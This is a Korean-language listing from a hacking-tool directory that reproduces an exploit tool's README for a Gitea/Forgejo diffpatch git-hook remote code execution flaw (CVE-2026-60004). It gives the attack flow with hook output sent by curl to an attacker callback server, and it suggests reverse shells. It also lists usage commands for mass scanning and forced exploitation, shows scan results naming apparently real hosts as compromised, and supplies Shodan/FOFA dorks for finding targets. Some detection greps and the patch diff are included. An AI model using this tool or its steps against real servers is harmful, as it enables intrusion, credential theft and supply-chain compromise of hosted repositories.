Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change 훅 주입. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change 훅 주입. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

저장소 보기
91개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Bare Clone 훅 주입 → post-index-change → 임의 명령 실행


개요

CVE-2026-60004는 Gitea 및 Forgejo 자체 호스팅 Git 플랫폼의 버전 1.17부터 1.27.0까지 영향을 주는 치명적 심각도(CVSS 9.8)의 사전 인증(pre-authentication) 원격 코드 실행 취약점입니다.

이 취약점은 POST /api/v1/repos/{owner}/{repo}/diffpatch API 엔드포인트의 bare 클론 설계 결함을 악용합니다. Gitea는 사용자가 제공한 패치를 bare 임시 클론(리포지토리 루트가 곧 $GIT_DIR인 환경)에 적용합니다. 공격자는 동일한 악성 패치를 두 번 제출하여 add/add 충돌을 유발하고, Git의 3-way 병합 폴백(-3, Git 2.32+)이 실행 가능한 post-index-change 훅을 $GIT_DIR/hooks/에 직접 기록하도록 합니다. Git은 인덱스 업데이트 중 이 훅을 자동으로 실행하므로 Gitea 서비스 계정 권한으로 임의 명령 실행이 발생합니다.

리포지토리 쓰기 권한이 필요하며, Gitea가 이메일 인증, 관리자 승인, 리포지토리 생성 제한 없이 공개 가입을 기본값으로 하므로 쉽게 얻을 수 있습니다.

영향을 받는 버전

버전상태
< 1.17영향 없음(diffpatch 경로가 아직 도입되지 않음)
1.17 — 1.27.0취약
1.27.1+패치됨

발견자: Shai Rod (NightRang3r), 2026년 7월 28일 프로젝트: Gitea / Forgejo (자체 호스팅 Git 서비스) 구성 요소: diffpatch API 엔드포인트, bare 임시 클론


취약점 메커니즘

근본 원인

이 취약점은 services/repository/files/patch.go의 단일 매개변수에서 비롯됩니다:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

bare 클론에는 작업 트리가 없습니다. 즉, 리포지토리 루트가 곧 $GIT_DIR입니다. 따라서 파일 경로가 hooks/post-index-change인 악성 패치는 샌드박스 처리된 작업 트리가 아닌 Git의 실제 훅 디렉터리 안에 직접 위치하게 됩니다.

git apply 호출이 여기에 더해집니다:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

동작 원리

  1. bare 클론은 샌드박스를 제공하지 않습니다 — 임시 클론의 루트가 $GIT_DIR이므로 hooks/post-index-change 경로가 실제 훅 디렉터리에 매핑됩니다.
  2. --cached는 완전하지 않습니다 — Git 2.32+의 -3 3-way 폴백은 --cached 플래그에도 불구하고 add/add 충돌 시 병합 결과를 작업 트리에 기록합니다.
  3. 이중 제출이 충돌을 유발합니다 — 첫 번째 apply가 훅을 인덱스에 추가합니다. 두 번째 apply는 add/add 충돌을 만들고, 3-way 병합이 파일을 디스크에 기록하며, Git이 이를 실행합니다.
  4. Git은 post-index-change를 자동 실행합니다 — 인덱스 업데이트 후 Git은 이 훅이 존재하고 실행 가능하면 무조건 실행합니다. 별도 설정이 필요 없습니다.
  5. 훅 명령은 인덱스를 수정할 수 없습니다 — git apply가 인덱스 잠금을 보유하고 있으므로 훅 내부의 git update-index는 교착 상태(deadlock)에 빠집니다. 출력 유출에는 HTTP 콜백(curl)이나 리버스 셸을 사용하세요.

공격 흐름

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

검증된 소스 코드 참조

서버 로그 탐지

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

핵심 설계 결함

bare 클론과 non-bare 클론의 차이 — 단일 불리언 매개변수 — 는 패치 경로가 무해한 작업 트리 항목이 될지, 아니면 Git 내부 디렉터리에 직접 위치하는 실행 가능한 훅이 될지를 결정합니다. 수정은 diff에서 정확히 한 문자(true → false)만 변경하는데, 이것이 커밋이 SECURITY가 아닌 MISC 아래 "refactor: git patch apply"로 분류된 이유입니다. 인덱스(--cached)로 샌드박싱되어야 했던 작업은 Git 자체의 3-way 병합 메커니즘에 의해 조용히 무너졌고, bare 클론의 $GIT_DIR에 훅 파일이 생성되는 것을 막는 추가적인 보호 장치는 없었습니다.


설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

사용법

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

인자

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

개념 증명

단일 대상

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

대량 스캔

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

콜백 출력(대상별 자동 저장)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

영향

성공적인 악용 시 Gitea 서비스 계정 권한으로 원격 코드 실행이 가능합니다:

  • app.ini 구성 추출 — 데이터베이스 자격 증명, SMTP 비밀값, OAuth 앱 키, LFS/JWT 비밀값
  • 호스팅된 모든 리포지토리, 커밋 기록 및 LFS 객체에 접근
  • Gitea 호스트에서 접근 가능한 내부 서비스로 피벗(CI/CD, 패키지 레지스트리, 컨테이너 레지스트리)
  • SSH 키 또는 섀도 관리자 계정을 통한 지속적 백도어 배포
  • 소프트웨어 공급망 손상 — 인스턴스가 제공하는 리포지토리에 백도어 주입

인스턴스에 계정이 없어도 됩니다 — 기본적으로 가입이 공개되어 있습니다.


수정 사항 (1.27.1)

Gitea는 버전 1.27.1(커밋 470d34b)에서 다음을 통해 취약점을 수정했습니다:

  • 임시 클론을 bare에서 non-bare로 변경하여 공격자가 제어하는 파일 경로가 $GIT_DIR/hooks/에 직접 위치하지 않고 작업 트리에 들어가도록 함
  • 특정 조건에서 --index 작업이 작업 트리와 상호작용할 수 있다는 경고 주석을 추가
  • .git 하위 디렉터리 확인을 통해 임시 클론이 non-bare임을 검증하는 단위 테스트(TestGitPatchPrepare)를 추가
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

이 수정 사항은 1.27.1 릴리스 노트에서 SECURITY가 아닌 MISC 아래 "refactor: git patch apply"로 표시되어, 보안 관련 변경 로그 항목만 검토하는 관리자가 이 중요한 업데이트를 놓치기 쉽습니다. CherryPick의 동일한 bare-clone 패턴도 함께 수정되었습니다.


면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

소유자의 명시적 허가 없이 시스템에 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다.


참고 자료

자료링크
Gitea 수정 커밋

Shai Rod (NightRang3r)가 발견했습니다. Gitea 또는 Forgejo와 관련이 없습니다.

도구 다운로드
파일라인목적
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — bare 클론 생성
services/repository/files/patch.go206-209--index --cached -3 플래그를 사용한 git apply
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — 공격자 상태 유지
services/repository/files/cherry_pick.go~170CherryPick의 동일한 bare-clone 패턴(함께 패치됨)
470d34b
연구자NightRang3r
CWE-94코드 삽입
Git 훅post-index-change